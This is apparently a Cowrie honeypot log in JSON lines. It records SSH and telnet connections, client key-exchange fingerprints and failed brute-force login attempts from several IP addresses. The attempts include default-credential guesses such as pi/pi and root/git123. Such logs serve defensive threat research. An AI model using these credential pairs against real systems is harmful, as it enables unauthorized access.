{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:04:36.997720Z","src_ip":"23.88.42.180","session":"db507fc8a92b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:04:37.152926Z","src_ip":"160.187.174.22","session":"b0623995a670","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"youhodler","password":"Cr@zy#P@ss!W0rd77","message":"login attempt [youhodler/Cr@zy#P@ss!W0rd77] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:04:37.285789Z","src_ip":"23.88.42.180","session":"db507fc8a92b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.52122211456299,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:04:37.602943Z","src_ip":"170.64.224.25","session":"a1228afc0354","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:04:38.386666Z","src_ip":"23.88.42.180","session":"db507fc8a92b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":50180,"dst_ip":"159.203.135.109","dst_port":22,"session":"2114cefe8891","protocol":"ssh","message":"New connection: 160.187.174.22:50180 (159.203.135.109:22) [session: 2114cefe8891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:05:01.796972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:05:01.802568Z","src_ip":"160.187.174.22","session":"2114cefe8891","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:05:02.047211Z","src_ip":"160.187.174.22","session":"2114cefe8891","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:05:02.791884Z","src_ip":"160.187.174.22","session":"2114cefe8891","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:05:04.039751Z","src_ip":"160.187.174.22","session":"2114cefe8891","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":47728,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5dd53f5a078","protocol":"ssh","message":"New connection: 160.187.174.22:47728 (159.203.135.109:22) [session: b5dd53f5a078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:05:31.631534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:05:31.639901Z","src_ip":"160.187.174.22","session":"b5dd53f5a078","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:05:31.880993Z","src_ip":"160.187.174.22","session":"b5dd53f5a078","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:05:32.784365Z","src_ip":"160.187.174.22","session":"b5dd53f5a078","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:05:34.019549Z","src_ip":"160.187.174.22","session":"b5dd53f5a078","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":46608,"dst_ip":"10.17.0.5","dst_port":22,"session":"a28aa6347d9a","protocol":"ssh","message":"New connection: 185.242.3.195:46608 (10.17.0.5:22) [session: a28aa6347d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:05:41.748829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:05:41.753276Z","src_ip":"185.242.3.195","session":"a28aa6347d9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:05:41.841421Z","src_ip":"185.242.3.195","session":"a28aa6347d9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"git123","message":"login attempt [root/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:05:42.103781Z","src_ip":"185.242.3.195","session":"a28aa6347d9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:05:43.194146Z","src_ip":"185.242.3.195","session":"a28aa6347d9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":48686,"dst_ip":"159.203.135.109","dst_port":22,"session":"19d3f4939495","protocol":"ssh","message":"New connection: 160.187.174.22:48686 (159.203.135.109:22) [session: 19d3f4939495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:05:58.435480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:05:58.440712Z","src_ip":"160.187.174.22","session":"19d3f4939495","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:05:58.673291Z","src_ip":"160.187.174.22","session":"19d3f4939495","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:05:59.626890Z","src_ip":"160.187.174.22","session":"19d3f4939495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:06:00.865880Z","src_ip":"160.187.174.22","session":"19d3f4939495","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":41794,"dst_ip":"10.17.0.5","dst_port":22,"session":"30ebf4e01752","protocol":"ssh","message":"New connection: 91.92.40.4:41794 (10.17.0.5:22) [session: 30ebf4e01752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:06:12.929469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:06:12.932538Z","src_ip":"91.92.40.4","session":"30ebf4e01752","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:06:13.013062Z","src_ip":"91.92.40.4","session":"30ebf4e01752","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"test321","message":"login attempt [user/test321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:06:13.258583Z","src_ip":"91.92.40.4","session":"30ebf4e01752","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:06:14.341602Z","src_ip":"91.92.40.4","session":"30ebf4e01752","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":48500,"dst_ip":"159.203.135.109","dst_port":22,"session":"566e7cb3d861","protocol":"ssh","message":"New connection: 160.187.174.22:48500 (159.203.135.109:22) [session: 566e7cb3d861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:06:24.730015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:06:24.733389Z","src_ip":"160.187.174.22","session":"566e7cb3d861","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:06:24.981781Z","src_ip":"160.187.174.22","session":"566e7cb3d861","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oceanbase","password":"oceanbase","message":"login attempt [oceanbase/oceanbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:06:25.834316Z","src_ip":"160.187.174.22","session":"566e7cb3d861","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:06:27.076528Z","src_ip":"160.187.174.22","session":"566e7cb3d861","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46336,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b576e80ea10","protocol":"telnet","message":"New connection: 170.64.224.25:46336 (159.203.135.109:23) [session: 4b576e80ea10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:06:43.006824Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":51302,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d341e580337","protocol":"ssh","message":"New connection: 160.187.174.22:51302 (159.203.135.109:22) [session: 1d341e580337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:06:50.337068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:06:50.340774Z","src_ip":"160.187.174.22","session":"1d341e580337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:06:50.902374Z","src_ip":"160.187.174.22","session":"1d341e580337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:06:51.653025Z","src_ip":"160.187.174.22","session":"1d341e580337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:06:52.903337Z","src_ip":"160.187.174.22","session":"1d341e580337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":44014,"dst_ip":"159.203.135.109","dst_port":23,"session":"1385a7611ed7","protocol":"telnet","message":"New connection: 107.6.151.170:44014 (159.203.135.109:23) [session: 1385a7611ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:07:02.237805Z"}
{"eventid":"cowrie.session.closed","duration":27.02910804748535,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:07:10.035795Z","src_ip":"170.64.224.25","session":"4b576e80ea10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":52602,"dst_ip":"159.203.135.109","dst_port":22,"session":"c76dc921adbe","protocol":"ssh","message":"New connection: 160.187.174.22:52602 (159.203.135.109:22) [session: c76dc921adbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:07:17.250254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:07:17.254767Z","src_ip":"160.187.174.22","session":"c76dc921adbe","protocol":"ssh"}
